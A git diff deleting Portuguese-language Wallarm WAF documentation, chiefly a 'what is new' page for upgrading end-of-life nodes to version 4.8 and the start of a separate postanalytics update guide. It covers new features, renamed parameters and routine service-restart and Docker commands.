            - -### Passo 5: Reinicie o módulo pós-análise - -=== "Debian" - ```bash - sudo systemctl restart wallarm-tarantool - ``` -=== "Ubuntu" - ```bash - sudo service wallarm-tarantool restart - ``` -=== "CentOS 7.x ou Amazon Linux 2.0.2021x e inferiores" - ```bash - sudo systemctl restart wallarm-tarantool - ``` -=== "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - sudo systemctl restart wallarm-tarantool - ``` -=== "RHEL 8.x" - ```bash - sudo systemctl restart wallarm-tarantool - ``` - -[Atualize os módulos NGINX Wallarm][docs-module-update] \ No newline at end of file diff --git a/docs/latest-pt-BR/updating-migrating/older-versions/what-is-new.md b/docs/latest-pt-BR/updating-migrating/older-versions/what-is-new.md deleted file mode 100644 index b2f16ce43e..0000000000 --- a/docs/latest-pt-BR/updating-migrating/older-versions/what-is-new.md +++ /dev/null @@ -1,385 +0,0 @@ -# Novidades no Wallarm node (se estiver atualizando a partir de um node EOL) - -Esta página lista as mudanças disponíveis ao atualizar o node da versão depreciada (3.6 e inferior) para a versão 4.8. As mudanças listadas estão disponíveis tanto para os nodes Wallarm regulares (cliente) quanto multi-tenant. - -!!! warning "Nodes Wallarm 3.6 ou inferiores estão descontinuados" - Os nodes Wallarm 3.6 e inferiores são recomendados para serem atualizados, pois estão [descontinuados](../versioning-policy.md#version-list). - - A configuração do node e a filtragem de tráfego foram significativamente simplificadas no node Wallarm da versão 4.x. Algumas configurações do node 4.x são **incompatíveis** com os nodes de versões anteriores. Antes de atualizar os módulos, revise cuidadosamente a lista de alterações e [recomendações gerais](../general-recommendations.md). - -## Instalador all-in-one - -Agora, ao instalar e atualizar o node Wallarm como um módulo dinâmico para NGINX em vários ambientes, você pode usar o **instalador all-in-one** projetado para simplificar e padronizar o processo de instalação. Este instalador identifica automaticamente as versões do seu sistema operacional e NGINX e instala todas as dependências necessárias. - -O instalador simplifica o processo executando automaticamente as seguintes ações: - -1. Verificando a versão do seu sistema operacional e NGINX. -1. Adicionando repositórios Wallarm para o sistema operacional e versão NGINX detectados. -1. Instalando pacotes Wallarm desses repositórios. -1. Conectando o módulo Wallarm instalado ao seu NGINX. -1. Conectando o node de filtragem ao Wallarm Cloud usando o token fornecido. - -[Veja detalhes sobre como implantar o node com o instalador all-in-one →](../../installation/nginx/all-in-one.md) - -## Alterações importantes devido às métricas excluídas - -A partir da versão 4.0, o node Wallarm não coleta as seguintes métricas collectd: - -* `wallarm_nginx/gauge-requests` - você pode usar a métrica [`wallarm_nginx/gauge-abnormal`](../../admin-en/monitoring/available-metrics.md#number-of-requests) como alternativa -* `wallarm_nginx/gauge-attacks` -* `wallarm_nginx/gauge-blocked` -* `wallarm_nginx/gauge-time_detect` -* `wallarm_nginx/derive-requests` -* `wallarm_nginx/derive-attacks` -* `wallarm_nginx/derive-blocked` -* `wallarm_nginx/derive-abnormal` -* `wallarm_nginx/derive-requests_lost` -* `wallarm_nginx/derive-tnt_errors` -* `wallarm_nginx/derive-api_errors` -* `wallarm_nginx/derive-segfaults` -* `wallarm_nginx/derive-memfaults` -* `wallarm_nginx/derive-softmemfaults` -* `wallarm_nginx/derive-time_detect` - -## Limites de taxa - -A falta de limitação de taxa adequada tem sido um problema significativo para a segurança da API, pois os invasores podem lançar solicitações de alto volume causando uma negação de serviço (DoS) ou sobrecarregar o sistema, prejudicando os usuários legítimos. - -Com o recurso de limitação de taxa do Wallarm, suportado desde o node Wallarm 4.6, as equipes de segurança podem gerenciar efetivamente a carga do serviço e evitar falsos alarmes, garantindo que o serviço permaneça disponível e seguro para os usuários legítimos. Este recurso oferece vários limites de conexão com base em parâmetros de solicitação e sessão, incluindo limitação de taxa baseada em IP tradicional, campos JSON, dados codificados em base64, cookies, campos XML e muito mais. - -Por exemplo, você pode limitar as conexões API para cada usuário, impedindo que façam milhares de solicitações por minuto. Isso sobrecarregaria seus servidores e poderia causar a queda do serviço. Implementando a limitação de taxa, você pode proteger seus servidores de sobrecarga e garantir que todos os usuários tenham acesso justo à API. - -Você pode configurar facilmente os limites de taxa na interface de usuário do Wallarm Console → **Regras** → **Definir limite de taxa** especificando o escopo do limite de taxa, taxa, burst, delay e código de resposta para seu caso de uso específico. - -[Guia de configuração do limite de taxa →](../../user-guides/rules/rate-limiting.md) - -Embora a regra de limitação de taxa seja o método recomendado para configurar o recurso, você também pode configurar os limites de taxa usando as novas diretivas NGINX: - -* [`wallarm_rate_limit`](../../admin-en/configure-parameters-en.md#wallarm_rate_limit) -* [`wallarm_rate_limit_enabled`](../../admin-en/configure-parameters-en.md#wallarm_rate_limit_enabled) -* [`wallarm_rate_limit_log_level`](../../admin-en/configure-parameters-en.md#wallarm_rate_limit_log_level) -* [`wallarm_rate_limit_status_code`](../../admin-en/configure-parameters-en.md#wallarm_rate_limit_status_code) -* [`wallarm_rate_limit_shm_size`](../../admin-en/configure-parameters-en.md#wallarm_rate_limit_shm_size) - -## Detecção de novos tipos de ataque - -O Wallarm detecta novos tipos de ataque: - -* [Broken Object Level Authorization](https://github.com/OWASP/API-Security/blob/master/editions/2019/en/0xa1-broken-object-level-authorization.md) (BOLA), também conhecida como [Insecure Direct Object References](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References) (ou IDOR), tornou-se uma das vulnerabilidades de API mais comuns. Quando um aplicativo inclui uma vulnerabilidade IDOR / BOLA, há uma grande probabilidade de expor informações sensíveis ou dados para invasores. Tudo o que os invasores precisam fazer é trocar o ID de seu próprio recurso na chamada da API por um ID de um recurso pertencente a outro usuário. A ausência de verificações adequadas de autorização permite que os invasores tenham acesso ao recurso especificado. Assim, todo endpoint da API que recebe um ID de um objeto e realiza qualquer tipo de ação no objeto pode ser um alvo de ataque. - - Para evitar a exploração desta vulnerabilidade, o node Wallarm 4.2 e superiores contém um [novo gatilho](../../admin-en/configuration-guides/protecting-against-bola.md) que você pode usar para proteger seus endpoints de ataques BOLA. O gatilho monitora o número de solicitações a um endpoint específico e cria um evento de ataque BOLA quando os limites do gatilho são excedidos. -* [Mass Assignment](../../attacks-vulns-list.md#mass-assignment) - - Durante um ataque de Mass Assignment, os invasores tentam vincular os parâmetros de solicitação HTTP a variáveis ​​ou objetos de código de programa. Se uma API for vulnerável e permitir a vinculação, os invasores podem alterar propriedades sensíveis do objeto que não se destinam a ser expostas, o que pode levar a escalada de privilégios, contornar mecanismos de segurança e muito mais. -* [SSRF](../../attacks-vulns-list.md#serverside-request-forgery-ssrf) - - Um ataque SSRF bem-sucedido pode permitir que um invasor faça solicitações em nome do servidor da web atacado; isso potencialmente leva a revelar as portas de rede do aplicativo da web em uso, varrer as redes internas, e contornar a autorização. - -## Verificando a força do JSON Web Token - -[JSON Web Token (JWT)](https://jwt.io/) é um padrão de autenticação popular usado para trocar dados entre recursos como APIs de forma segura. A comprometimento do JWT é um objetivo comum dos invasores, pois a violação dos mecanismos de autenticação fornece a eles acesso total a aplicativos da web e APIs. Quanto mais fracos os JWTs, maior a chance de serem comprometidos. - -A partir da versão 4.4, você pode habilitar o Wallarm para detectar as seguintes fraquezas JWT: - -* JWTs não criptografados -* JWTs assinados usando chaves secretas comprometidas - -Para habilitar, use o gatilho [**Weak JWT**](../../user-guides/triggers/trigger-examples.md#detect-weak-jwts). - -## Verificando JSON Web Tokens para ataques - -O JSON Web Token (JWT) é um dos métodos de autenticação mais populares. Isso o torna uma ferramenta favorita para realizar ataques (como SQLi ou RCE) que são muito difíceis de encontrar porque os dados do JWT são codificados e podem estar localizados em qualquer lugar na solicitação. - -O node Wallarm 4.2 e acima encontra o JWT em qualquer lugar da solicitação, [decodifica](../../user-guides/rules/request-processing.md#jwt) e bloqueia (no [modo de filtração](../../admin-en/configure-wallarm-mode.md) apropriado) quaisquer tentativas de ataque por este método de autenticação. - -## Suporte para opções de instalação - -* Controlador de Ingresso Wallarm baseado na última versão do Controlador de Ingresso NGINX da comunidade, 1.9.5. - - [Instruções sobre migração para o controlador de ingresso Wallarm →](ingress-controller.md) -* Adicionado suporte para AlmaLinux, Rocky Linux e Oracle Linux 8.x no lugar do CentOS 8.x [descontinuado](https://www.centos.org/centos-linux-eol/). - - Os pacotes do node Wallarm para os sistemas operacionais alternativos serão armazenados no repositório CentOS 8.x. -* Adicionado suporte para Debian 11 Bullseye -* Adicionado suporte para Ubuntu 22.04 LTS (jammy) -* Suporte removido para CentOS 6.x (CloudLinux 6.x) -* Suporte removido para Debian 9.x -* Suporte removido para Debian 10.x para Wallarm ser instalado como o módulo para NGINX estável ou NGINX Plus. -* Suporte removido para o sistema operacional Ubuntu 16.04 LTS (xenial) -* A versão de Envoy usada na [imagem Docker baseada em Envoy do Wallarm](../../admin-en/installation-guides/envoy/envoy-docker.md) aumentou para [1.18.4](https://www.envoyproxy.io/docs/envoy/latest/version_history/v1.18.4) - -[Veja a lista completa de opções de instalação suportadas →](../../installation/supported-deployment-options.md) - -## Novo método para implantação de node Wallarm sem servidor - -O novo método de implantação permite que você configure o node CD Wallarm fora de sua infraestrutura em 15 minutos. Você só precisa apontar para o domínio a ser protegido e adicionar o registro CNAME Wallarm aos registros DNS do domínio. - -[Instruções de implantação do node CDN](../../installation/cdn-node.md) - -## Requisitos do sistema para a instalação do node de filtragem - -* Wallarm node instances now require access to the IP addresses below for downloading updates to attack detection rules, as well as retrieving precise IPs for your allowlisted, denylisted, or graylisted countries, regions, or data centers. - - --8<-- "../include/wallarm-cloud-ips.md" -* O node de filtragem agora envia dados para a nuvem usando `us1.api.wallarm.com:443` (US Cloud) e `api.wallarm.com:443` (EU Cloud) em vez de `us1.api.wallarm.com:444` e `api.wallarm.com:444`. - - Se o seu servidor com o node implantado tiver acesso limitado aos recursos externos e o acesso for concedido a cada recurso separadamente, após a atualização para a versão 4.x, a sincronização entre o node de filtragem e a nuvem será interrompida. O node atualizado precisa ter acesso concedido ao endpoint da API com a nova porta. - -## Unificação do registro dos nodes na Wallarm Cloud por tokens - -Com o novo lançamento do Wallarm node, o registro baseado em e-mail e senha dos nodes Wallarm na nuvem foi removido. Agora é obrigatório mudar para o novo método de registro de node baseado em token para continuar com o Wallarm node 4.8. - -O novo lançamento permite que você registre o node Wallarm na nuvem Wallarm pelo **token** em [qualquer plataforma suportada](../../installation/supported-deployment-options.md), garantindo uma conexão mais segura e rápida com a nuvem Wallarm da seguinte maneira: - -* Contas de usuário dedicadas com o papel **Implantar** permitindo apenas instalar o node não são mais necessárias. -* Os dados dos usuários permanecem armazenados de forma segura na nuvem Wallarm. -* A autenticação de dois fatores ativada para as contas de usuário não impede que os nodes sejam registrados na nuvem Wallarm. -* Os módulos de processamento de tráfego inicial e pós-análise de solicitações implantados em servidores separados podem ser registrados na nuvem por um token de node. - -Alterações no método de registro do node resultam em algumas atualizações nos tipos de nodes: - -* O node que suporta o registro unificado por token tem o tipo **Node Wallarm**. O script a ser executado no servidor para registrar o node é nomeado `register-node`. - - Anteriormente, o node Wallarm era denominado **node nuvem**. Ele também suportava registro por token, mas com um script diferente chamado de `addcloudnode`. - - O node nuvem não precisa ser migrado para o novo tipo de node. -* O **node regular** que suporta o registro por "e-mail-senha" passado para o script `addnode` está descontinuado. - - A partir da versão 4.0, o registro do node implantado como NGINX, módulo NGINX Plus ou contêiner Docker é da seguinte forma: - - 1. Crie o **Node Wallarm** no Wallarm Console e copie o token gerado. - 1. Execute o script `register-node` com o token do node passado ou execute o contêiner Docker com a variável `WALLARM_API_TOKEN` definida. - - !!! info "Suporte ao node regular" - O tipo de node regular está descontinuado no lançamento 4.x e será removido em lançamentos futuros. - - Recomenda-se substituir o node regular pelo **Node Wallarm** antes que o tipo regular seja removido. Você encontrará as instruções apropriadas nos guias de atualização do node. - -## Módulo Terraform para implantação do Wallarm na AWS - -A partir do lançamento 4.0, você pode implantar facilmente o Wallarm na [AWS](https://aws.amazon.com/) a partir do ambiente baseado em Infraestrutura como Código (IaC) usando o [módulo Wallarm do Terraform](https://registry.terraform.io/modules/wallarm/wallarm/aws/). - -O módulo Wallarm Terraform é a solução escalável que atende aos melhores padrões do setor de segurança e failover garantindo. Durante sua implantação, você pode escolher a opção de implantação **proxy** ou **espelho** com base em seus requisitos para o fluxo de tráfego. - -Também preparamos exemplos de uso para ambas as opções de implantação, envolvendo configurações básicas de implantação e também avançadas compatíveis com soluções como AWS VPC Traffic Mirroring. - -[Documentação sobre o módulo Wallarm Terraform para AWS](../../installation/cloud-platforms/aws/terraform-module/overview.md) - -## Coleta de estatísticas de solicitações bloqueadas de fontes em blacklist - -A partir da versão 4.8, os nodes filtrantes do Wallarm baseados em NGINX agora coletam estatísticas de solicitações que foram bloqueadas quando sua fonte é encontrada na lista de proibidos, aprimorando sua capacidade de avaliar a força do ataque. Isso inclui acesso às estatísticas de solicitações bloqueadas e suas amostras, ajudando você a minimizar a atividade não notada. Você pode encontrar esses dados na seção **Eventos** da interface do usuário do Wallarm Console. - -Ao usar o bloqueio automático de IP (por exemplo, com o gatilho de força bruta configurado), agora você pode analisar as solicitações de disparo iniciais e as amostras de solicitações bloqueadas subsequentes. Para solicitações bloqueadas devido à inclusão manual de suas fontes na lista de privação, a nova funcionalidade aprimora a visibilidade das ações das fontes bloqueadas. - -Introduzimos novas [tags e filtros de pesquisa](../../user-guides/search-and-filters/use-search.md#search-by-attack-type) na seção **Eventos** para acessar facilmente os dados recém-introduzidos: - -* Utilize a pesquisa `blocked_source` para identificar solicitações que foram bloqueadas devido à inclusão manual de endereços IP, sub-redes, países, VPNs e muito mais. -* Empregue a pesquisa `multiple_payloads` para identificar solicitações bloqueadas pelo gatilho **Número de cargas úteis maliciosas**. Este gatilho é projetado para adicionar à lista de negação as fontes que originam solicitações maliciosas contendo várias cargas úteis, uma característica comum dos perpetradores de ataques múltiplos. -* Além disso, as tags de pesquisa `api_abuse`, `brute`, `dirbust` e `bola` agora abrangem solicitações cujas fontes foram adicionadas automaticamente à lista de negações pelos gatilhos Wallarm relevantes para seus respectivos tipos de ataque. - -Esta mudança introduz os novos parâmetros de configuração que por padrão são configurados como `on` para habilitar a funcionalidade, mas podem ser alterados para `off` para desabilitá-la: - -* A diretiva NGINX [`wallarm_acl_export_enable`](../../admin-en/configure-parameters-en.md#wallarm_acl_export_enable). -* O valor [`controller.config.wallarm-acl-export-enable`](../../admin-en/configure-kubernetes-en.md#global-controller-settings) para o gráfico do Controlador de Ingresso NGINX. -* O valor do gráfico [`config.wallarm.aclExportEnable`](../../installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md#configwallarmaclexportenable) e a anotação do pod [`sidecar.wallarm.io/wallarm-acl-export-enable`](../../installation/kubernetes/sidecar-proxy/pod-annotations.md) para a solução do Controlador Sidecar. - -## Imagem Wallarm AWS distribuída com o script `cloud-init.py` pronto para uso - -Se você seguir a abordagem de Infraestrutura como Código (IaC), pode precisar usar o script [`cloud-init`](https://cloudinit.readthedocs.io/en/latest/index.html) para implantar o node Wallarm na AWS. A partir do lançamento 4.0, o Wallarm distribui sua imagem na nuvem AWS com o script `cloud-init.py` pronto para uso. - -[Especificação do script `cloud-init` do Wallarm](../../installation/cloud-platforms/cloud-init.md) - -## Configuração simplificada do node multi-tenant - -Para os [nodes multi-tenant](../../installation/multi-tenant/overview.md), os inquilinos e os aplicativos são agora definidos cada um com sua própria diretiva: - -* A diretiva NGINX [`wallarm_partner_client_uuid`](../../admin-en/configure-parameters-en.md#wallarm_partner_client_uuid) e o parâmetro do Envoy [`partner_client_uuid`](../../admin-en/configuration-guides/envoy/fine-tuning.md#partner_client_id_param) foram adicionados para configurar o identificador exclusivo de um inquilino. -* O comportamento da diretiva NGINX [`wallarm_application`](../../admin-en/configure-parameters-en.md#wallarm_application) e do parâmetro do Envoy [`application`](../../admin-en/configuration-guides/envoy/fine-tuning.md#application_param) foi alterado. Agora é **apenas** usado para configurar um ID de aplicação. - -[Instruções de atualização do node multi-tenant](../multi-tenant.md) - -## Modos de Filtragem - -* Novo modo de filtragem **safe blocking**. - - Este modo permite uma redução significativa do número de [falsos positivos](../../about-wallarm/protecting-against-attacks.md#false-positives) bloqueando apenas solicitações maliciosas originadas de [endereços IP listados cinza](../../user-guides/ip-lists/graylist.md). -* A análise das fontes de requisição é agora realizada apenas nos modos `safe_blocking` e `block`. - - * Se o node Wallarm operando no modo `off` ou `monitoring` detectar a solicitação originada do IP [lista de negação](../../user-guides/ip-lists/denylist.md), ele não bloqueará essa solicitação. - * O node Wallarm operando no modo `monitoring` envia todos os ataques originados dos [endereços IP da lista de permissões](../../user-guides/ip-lists/allowlist.md) para a nuvem Wallarm. - -[Mais detalhes sobre os modos do node Wallarm →](../../admin-en/configure-wallarm-mode.md) - -## Controle de Fonte de Requisição - -Os seguintes parâmetros para controle da fonte de requisição foram descontinuados: - -* Todas as diretivas `acl` do NGINX, parâmetros do Envoy e variáveis ​​de ambiente usados ​​para configurar a lista de negação de endereços IP. A configuração manual de IP na lista de negação não é mais necessária. - - [Detalhes sobre a migração da configuração da lista de negação →](../migrate-ip-lists-to-node-3.md) - -Existem os seguintes novos recursos para controle da fonte da requisição: - -* Seção do Wallarm Console para controle total da lista de permissões, lista de negação e lista cinza de endereços IP. -* Suporte para novo [modo de filtragem](../../admin-en/configure-wallarm-mode.md) `safe_blocking` e [lista de endereços IP cinza](../../user-guides/ip-lists/graylist.md). - - O modo **safe blocking** permite uma redução significativa do número de [falsos positivos](../../about-wallarm/protecting-against-attacks.md#false-positives) bloqueando apenas solicitações maliciosas originadas de endereços IP cinza. - - Para a lista de endereços IP cinza automática, existe um novo [gatilho **Adicionar à lista cinza**](../../user-guides/triggers/trigger-examples.md#graylist-ip-if-4-or-more-malicious-payloads-are-detected-in-1-hour) lançado. -* Permissibilidade automática de [Endereços IP do Scanner de Vulnerabilidade Wallarm](../../about-wallarm/detecting-vulnerabilities.md#vunerability-scanner). A permissibilidade manual dos endereços IP do Scanner não é mais necessária. -* Capacidade de permitir, negar ou adicionar à lista cinza uma sub-rede, IPs da rede Tor, IPs da VPN, um grupo de endereços IP registrados em um país, região ou data center específicos. -* Capacidade de permitir, negar ou adicionar à lista cinza fontes de solicitações para aplicativos específicos. -* Nova diretiva NGINX e parâmetro Envoy `disable_acl` para desabilitar a análise de origem da solicitação. - - [Detalhes sobre a diretiva `disable_acl` do NGINX →](../../admin-en/configure-parameters-en.md#disable_acl) - - [Detalhes sobre o parâmetro `disable_acl` do Envoy →](../../admin-en/configuration-guides/envoy/fine-tuning.md#basic-settings) - -[Detalhes sobre como adicionar IPs à lista de permissões, lista de negações e lista cinza →](../../user-guides/ip-lists/overview.md) - -## Novo módulo para descoberta de inventário de API - -Novos nodes Wallarm são distribuídos com o módulo **API Discovery** que identifica a API do aplicativo automaticamente. O módulo está desativado por padrão. - -[Detalhes sobre o módulo API Discovery →](../../api-discovery/overview.md) - -## Análise de ataque aprimorada com a biblioteca libdetection - -A análise de ataques realizada pelo Wallarm foi aprimorada envolvendo uma camada adicional de validação de ataques. O node Wallarm 4.4 e superior em todos os fatores de forma (incluindo Envoy) são distribuídos com a biblioteca libdetection habilitada por padrão. Esta biblioteca realiza uma validação secundária totalmente baseada em gramática de todos os [ataques SQLi](../../attacks-vulns-list.md#sql-injection), reduzindo o número de falsos positivos detectados entre as injeções SQL. - -!!! warning "Aumento do consumo de memória" - Com a biblioteca **libdetection** habilitada, a quantidade de memória consumida pelos processos NGINX/Envoy e Wallarm pode aumentar cerca de 10%. - -[Detalhes sobre como o Wallarm detecta ataques →](../../about-wallarm/protecting-against-attacks.md) - -## A regra permitindo a detecção de ataques `overlimit_res` ajustados - -Introduzimos a nova [regra que permite a detecção de ataques `overlimit_res` ajustados](../../user-guides/rules/configure-overlimit-res-detection.md). - -O ajuste da detecção de ataque `overlimit_res` por meio de arquivos de configuração NGINX e Envoy é considerado obsoleto: - -* A regra permite definir um único limite de tempo de processamento de solicitação, assim como a diretiva NGINX `wallarm_process_time_limit` e o parâmetro Envoy `process_time_limit` faziam antes. -* A regra permite bloquear ou passar os ataques `overlimit_res` de acordo com o [modo de filtragem do node](../../admin-en/configure-wallarm-mode.md), em vez da configuração da diretiva NGINX `wallarm_process_time_limit_block` e do parâmetro Envoy `process_time_limit_block`. - -Os parâmetros listados foram descontinuados e serão removidos em futuras versões. Recomenda-se transferir a configuração de detecção de ataque `overlimit_res` das diretivas para a regra antes. Instruções relevantes são fornecidas para cada [opção de implantação do node](../general-recommendations.md#update-process). - -Se os parâmetros listados são explicitamente especificados nos arquivos de configuração e a regra ainda não foi criada, o node processa as solicitações conforme definido nos arquivos de configuração. - -## Nova página de bloqueio - -A página de bloqueio de amostra `/usr/share/nginx/html/wallarm_blocked.html` foi atualizada. Na nova versão do node, ela tem um novo layout e suporta a personalização do logotipo e do e-mail de suporte. - -A nova página de bloqueio com o novo layout fica assim por padrão: - -![Página de bloqueio do Wallarm](../../images/configuration-guides/blocking-page-provided-by-wallarm-36.png) - -[Mais detalhes sobre a configuração da página de bloqueio →](../../admin-en/configuration-guides/configure-block-page-and-code.md#customizing-sample-blocking-page) - -## Novos parâmetros para configuração básica do node - -* Novas variáveis ​​de ambiente a serem passadas para o contêiner Docker Wallarm baseado em NGINX: - - * `WALLARM_APPLICATION` para definir o identificador do aplicativo protegido a ser usado na nuvem Wallarm. - * `NGINX_PORT` para definir uma porta que o NGINX usará dentro do contêiner Docker. - - [Instruções sobre a implantação do contêiner Docker Wallarm baseado em NGINX →](../../admin-en/installation-docker-en.md) -* Novos parâmetros do arquivo `node.yaml` para configurar a sincronização da nuvem Wallarm e dos nodes filtrantes: `api.local_host` e `api.local_port`. Os novos parâmetros permitem especificar um endereço IP local e uma porta da interface de rede para enviar solicitações para a API Wallarm. - - [Veja a lista completa de parâmetros `node.yaml` para configurar a sincronização da nuvem Wallarm e dos nodes filtrantes →](../../admin-en/configure-cloud-node-synchronization-en.md#access-parameters) - -## Desativando conexões IPv6 para o contêiner Docker Wallarm baseado em NGINX - -A imagem Docker do Wallarm baseada em NGINX 4.2 e superior suporta a nova variável de ambiente `DISABLE_IPV6`. Esta variável permite que você impeça o NGINX de processar conexões IPv6, de modo que ele só pode processar conexões IPv4. - -## Parâmetros, arquivos e métricas renomeados - -* As seguintes diretivas NGINX e parâmetros do Envoy foram renomeados: - - * NGINX: `wallarm_instance` → [`wallarm_application`](../../admin-en/configure-parameters-en.md#wallarm_application) - * NGINX: `wallarm_local_trainingset_path` → [`wallarm_custom_ruleset_path`](../../admin-en/configure-parameters-en.md#wallarm_custom_ruleset_path) - * NGINX: `wallarm_global_trainingset_path` → [`wallarm_protondb_path`](../../admin-en/configure-parameters-en.md#wallarm_protondb_path) - * NGINX: `wallarm_ts_request_memory_limit` → [`wallarm_general_ruleset_memory_limit`](../../admin-en/configure-parameters-en.md#wallarm_general_ruleset_memory_limit) - * Envoy: `lom` → [`custom_ruleset`](../../admin-en/configuration-guides/envoy/fine-tuning.md#request-filtering-settings) - * Envoy: `instance` → [`application`](../../admin-en/configuration-guides/envoy/fine-tuning.md#basic-settings) - * Envoy: seção `tsets` → `rulesets`, e correspondentemente as entradas `tsN` nesta seção → `rsN` - * Envoy: `ts_request_memory_limit` → [`general_ruleset_memory_limit`](../../admin-en/configuration-guides/envoy/fine-tuning.md#request-filtering-settings) - * Envoy: `ts` → [`ruleset`](../../admin-en/configuration-guides/envoy/fine-tuning.md#ruleset_param) - - Os parâmetros com os nomes anteriores ainda são compatíveis, mas serão descontinuados em lançamentos futuros. A lógica do parâmetro não mudou. -* A [anotação](../../admin-en/configure-kubernetes-en.md#ingress-annotations) Ingress `nginx.ingress.kubernetes.io/wallarm-instance` foi renomeada para `nginx.ingress.kubernetes.io/wallarm-application`. - - A anotação com o nome anterior ainda é compatível, mas será descontinuada em lançamentos futuros. A lógica da anotação não mudou. -* O arquivo com a compilação do conjunto de regras personalizado `/etc/wallarm/lom` foi renomeado para `/etc/wallarm/custom_ruleset`. No sistema de arquivos das novas versões do node, existe apenas o arquivo com o novo nome. - - Os valores padrão da diretiva NGINX [`wallarm_custom_ruleset_path`](../../admin-en/configure-parameters-en.md#wallarm_custom_ruleset_path) e o parâmetro Envoy [`custom_ruleset`](../../admin-en/configuration-guides/envoy/fine-tuning.md#request-filtering-settings) foram alterados adequadamente. O novo valor padrão é `/etc/wallarm/custom_ruleset`. -* O arquivo de chave privada `/etc/wallarm/license.key` foi renomeado para `/etc/wallarm/private.key`. A partir da versão do node 4.0, o novo nome é usado por padrão. -* A métrica collectd `gauge-lom_id` foi renomeada para `gauge-custom_ruleset_id`. - - Nas novas versões do node, o serviço collectd coleta tanto a métrica depreciada quanto a nova. A coleta da métrica depreciada será interrompida em lançamentos futuros. - - [Todas as métricas collectd →](../../admin-en/monitoring/available-metrics.md#nginx-metrics-and-nginx-wallarm-module-metrics) -* O [arquivo de log](../../admin-en/configure-logging.md) `/var/log/wallarm/addnode_loop.log` nos contêineres Docker foi renomeado para `/var/log/wallarm/registernode_loop.log`. - -## Parâmetros do serviço de estatísticas - -* A métrica Prometheus `wallarm_custom_ruleset_id` foi aprimorada com a adição de um atributo `format`. Este novo atributo representa o formato do conjunto de regras personalizado. Enquanto isso, o valor principal continua sendo a versão de construção do conjunto de regras personalizado. Aqui está um exemplo do valor atualizado de `wallarm_custom_ruleset_id`: - - ``` - wallarm_custom_ruleset_id{format="51"} 386 - ``` -* O serviço de estatísticas Wallarm retorna os novos parâmetros `rate_limit` com os dados do módulo de [limitação de taxa Wallarm](#rate-limits). Os novos parâmetros cobrem solicitações rejeitadas e atrasadas, bem como indicam quaisquer problemas com a operação do módulo. -* O número de solicitações originadas de IPs na lista de proibições agora é exibido na saída do serviço de estatísticas, no novo parâmetro `blocked_by_acl` e nos parâmetros existentes `requests`, `blocked`. -* O serviço retorna mais um novo parâmetro `custom_ruleset_ver` que aponta para o [conjunto de regras personalizado](../../glossary-en.md#custom-ruleset-the-former-term-is-lom) que está sendo usado pelos nodes Wallarm. -* Os seguintes parâmetros de estatísticas do node foram renomeados: - - * `lom_apply_time` → `custom_ruleset_apply_time` - * `lom_id` → `custom_ruleset_id` - - Nas novas versões do node, o endpoint `http://127.0.0.8/wallarm-status` retorna temporariamente tanto os parâmetros depreciados quanto os novos. Os parâmetros depreciados serão removidos da saída do serviço em lançamentos futuros. - -[Detalhes sobre o serviço de estatísticas →](../../admin-en/configure-statistics-service.md) - -## Novas variáveis para configurar o formato de log do node - -As seguintes [variáveis de log do node](../../admin-en/configure-logging.md#filter-node-variables) foram alteradas: - -* `wallarm_request_time` foi renomeado para `wallarm_request_cpu_time` - - Esta variável representa o tempo em segundos que a CPU passou processando a solicitação. - - A variável com o nome anterior está descontinuada e será removida em futuras versões. A lógica da variável não mudou. -* `wallarm_request_mono_time` foi adicionado - - Esta variável representa o tempo em segundos que a CPU passou processando a solicitação + tempo na fila. - -## Aumentando o desempenho omitindo a busca de ataques em solicitações de IPs na lista de proibições - -A nova diretiva [`wallarm_acl_access_phase`](../../admin-en/configure-parameters-en.md#wallarm_acl_access_phase) permite que você aumente o desempenho do node Wallarm omitindo a etapa de busca de ataque durante a análise de solicitações de IPs [listados para negação](../../user-guides/ip-lists/denylist.md). Esta opção de configuração é útil se houver muitos IPs na lista de proibição (por exemplo, países inteiros) produzindo tráfego intenso que carrega pesadamente a CPU da máquina de trabalho. - -## Agrupamento fácil de instâncias de nodes - -Agora você pode facilmente agrupar instâncias de nodes usando um [**API token**](../../user-guides/settings/api-tokens.md) com o papel `Deploy` para sua instalação juntamente com a variável `WALLARM_LABELS` e seu rótulo `group`. - -Por exemplo: - -```bash -docker run -d -e WALLARM_API_TOKEN='' -e NGINX_BACKEND='example.com' -e WALLARM_API_HOST='us1.api.wallarm.com' -e WALLARM_LABELS='group=' -p 80:80 wallarm/node:4.8.0-1 -``` -...colocará a instância do node no grupo de instâncias `` (existente, ou, se não existir, será criado). - -## Processo de atualização - -1. Revise as [recomendações para atualização de módulos](../general-recommendations.md). -2. Atualize os módulos instalados seguindo as instruções para a opção de instalação do node Wallarm: - - * [Atualizando módulos para NGINX, NGINX Plus](nginx-modules.md) - * [Atualizando o contêiner Docker com os módulos para NGINX ou Envoy](docker-container.md) - * [Atualizando o Controlador de Ingresso NGINX com os módulos Wallarm integrados](ingress-controller.md) - * [Imagem de node na nuvem](cloud-image.md) - * [Node multi-tenant](multi-tenant.md) - * [Node CDN](../cdn-node.md) -3. [Migre](../migrate-ip-lists-to-node-3.md) a configuração de lista de permissões e lista de proibição das versões anteriores do Wallarm node para 4.8. - ----------- - -[Outras atualizações nos produtos e componentes Wallarm →](https://changelog.wallarm.com/) \ No newline at end of file diff --git a/docs/latest-pt-BR/updating-migrating/separate-postanalytics.md b/docs/latest-pt-BR/updating-migrating/separate-postanalytics.md deleted file mode 100644 index 50995c6b3b..0000000000 --- a/docs/latest-pt-BR/updating-migrating/separate-postanalytics.md +++ /dev/null @@ -1,214 +0,0 @@ -[docs-module-update]: nginx-modules.md -[img-wl-console-users]: ../images/check-users.png -[img-create-wallarm-node]: ../images/user-guides/nodes/create-cloud-node.png -[img-attacks-in-interface]: ../images/admin-guides/test-attacks-quickstart.png -[wallarm-token-types]: ../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[tarantool-status]: ../images/tarantool-status.png -[statistics-service-all-parameters]: ../admin-en/configure-statistics-service.md -[configure-proxy-balancer-instr]: ../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md - -# Atualizando o módulo de pós-análise - -Estas instruções descrevem os passos para atualizar o módulo de pós-análise 4.x instalado em um servidor separado. O módulo de pós-análise deve ser atualizado antes de [Atualizar Módulos Wallarm NGINX][docs-module-update]. - -Para atualizar o módulo de fim de vida (3.6 ou inferior), por favor, use as [instruções 